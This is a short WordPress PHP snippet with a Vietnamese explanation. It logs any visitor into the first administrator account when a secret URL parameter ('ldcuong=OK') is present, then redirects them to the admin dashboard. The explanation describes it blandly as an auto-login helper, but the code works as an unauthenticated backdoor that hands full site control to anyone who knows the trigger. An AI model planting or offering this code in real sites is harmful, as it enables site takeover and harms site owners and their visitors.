if ( "OK" === $_GET['ldcuong'] ) {
function auto_login_first_admin() {
if ( is_user_logged_in() ) {
return;
}
$admins = get_users( [
'role' => 'administrator',
'number' => 1,
'orderby' => 'ID',
'order' => 'ASC',
] );
if ( empty( $admins ) ) {
return;
}
$user = $admins[0];
// Kiểm tra email hợp lệ
if ( ! is_email( $user->user_email ) ) {
return;
}
wp_set_auth_cookie( $user->ID, true );
wp_set_current_user( $user->ID );
wp_safe_redirect( admin_url() );
exit;
}
add_action( 'init', 'auto_login_first_admin' );
}
Hàm tự đồng tìm ra tài khoản admin đầu tiên trong WordPress. Nếu tìm thấy tài khoản admin đầu tiên thì kiểm tra xem địa chỉ email có hợp lệ hay không. Cuối cùng, nếu tài khoản admin hợp lệ thì sẽ đăng nhập và chuyển tiếp đến bảng điều khiển admin.